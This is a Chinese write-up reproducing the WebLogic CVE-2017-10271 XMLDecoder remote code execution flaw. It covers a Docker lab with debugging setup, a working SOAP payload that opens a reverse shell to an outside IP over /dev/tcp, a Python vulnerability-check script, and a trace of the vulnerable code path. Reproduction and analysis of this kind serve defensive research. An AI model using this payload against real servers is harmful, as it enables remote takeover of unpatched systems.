Weblogic Rce CVE-2017-10271复现
一、环境搭建
使用vulhub来搭建,进入/weblogic/CVE-2017-10271文件夹,修改其中的docker-compose.yml文件,将8453端口打开
使用docker-compose命令docker-compose up -d
编译镜像并启动容器
使用docker exec -it b3 /bin/bash
命令进入容器内,自带的vi用得很不习惯,所以进去使用apt-get install nano
命令安装一下nano
然后使用nano修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
在如下位置添加两行代码
ebugFlag="true"
export debugFlag
然后docker stop停止容器,之后再docker start启动,然后再进入容器,将/root/Oracle/Middleware
文件夹下的modules
文件夹和wlserver_10.3
文件夹使用zip命令压缩成zip压缩包。没有zip命令的话可以使用apt-get install zip
来安装zip压缩功能
zip -r modules.zip modules
zip -r wlserver_10.3.zip wlserver_10.3
然后使用docker的cp命令,分别将modules.zip和wlserver_10.3.zip复制到本机的当前路径的CVE-2017-10271文件夹中(自己创建)并解压
docker cp b3:/root/Oracle/Middleware/modules.zip .\CVE-2017-10271\
docker cp b3:/root/Oracle/Middleware/wlserver_10.3.zip .\CVE-2017-10271\
用IEDA打开这个CVE-2017-10271文件夹,选中w1server_10.3/server/lib文件和modules文件并点击右键,点击Add as Library
添加依赖文件
然后再单击右上角的Add Configurations
按钮,然后点击+
号,选择Remote选项,随后如图填写
在wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class
的hadle方法处设置断点,随后运行Debug模式。
然后使用浏览器访问http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
出现如图所示则表示远程调试配置成功,此时就可以像调试本地程序一样调试Docker中的Weblogic应用了
二、漏洞复现
浏览器访问http://192.168.1.3:7001/wls-wsat/CoordinatorPortType
,显示如下页面即可能存在漏洞
反弹shell的poc:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.3:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
Content-Length: 641
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.172.148/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
漏洞验证脚本:
#!/usr/bin/env python
# coding:utf-8
import requests
from sys import argv
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'text/xml'
}
def Webogic_XMLDecoder_poc(url):
#url="http://192.168.202.129:7001"
posturl=url+'/wls-wsat/CoordinatorPortType'
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
<string>xmldecoder_vul_test</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
print url
try:
r=requests.post(posturl,data=data,headers=headers,timeout=5)
geturl=url+"/wls-wsat/test.txt"
#print geturl
check_result = requests.get(geturl,headers=headers,timeout=5)
if 'xmldecoder_vul_test' in check_result.text:
print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)"
except:
pass
if __name__ == '__main__':
if len(argv) == 1:
print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001"
exit(0)
else:
url = argv[1]
Webogic_XMLDecoder_poc(url)
三、漏洞分析
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.1.3:7001/wls-wsat/CoordinatorPortType
post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
在weblogic/wsee/jaxws/workcontext/WorkContextServerTube
类中的processRequest
方法中,处理POST数据包中的XML数据
其中var1是传入的XML数据,到readHederOld
方法中,处理POST数据包中处理XML数据。
我们跟进readHederOld
方法
前面获取到了POST数据包中的XML数据,这里使用ByteArrayOutputStream
将XML数据转换成字节流赋值给var4。然后调用WorkContextXmlInputAdapter
类传入了var4。跟进到WorkContextXmlInputAdapter
中
其实这里就是把var4传入到了XMLDecoder
中。回到readHeaderOld
方法,前面都是对XML数据的一个封装,得到了XMLDecoder对象
,之后调用了113行的receive
方法
跟进到receive
方法
跟进到WorkContextMapInterceptor类的receiveRequest
继续跟进到了WorkContextLocalMap类中的receiveRequest方法
165行调用了WorkContextEntryImpl
的readEntry
方法,跟进到WorkContextEntryImpl#readEntry
最后跟进到WorkContextXmlInputAdapter#readUTF
在这里进行了xmlDecoder.readObject,触发了xmlDecoder的反序列化,执行了XML数据中的ProcessBuilder.start()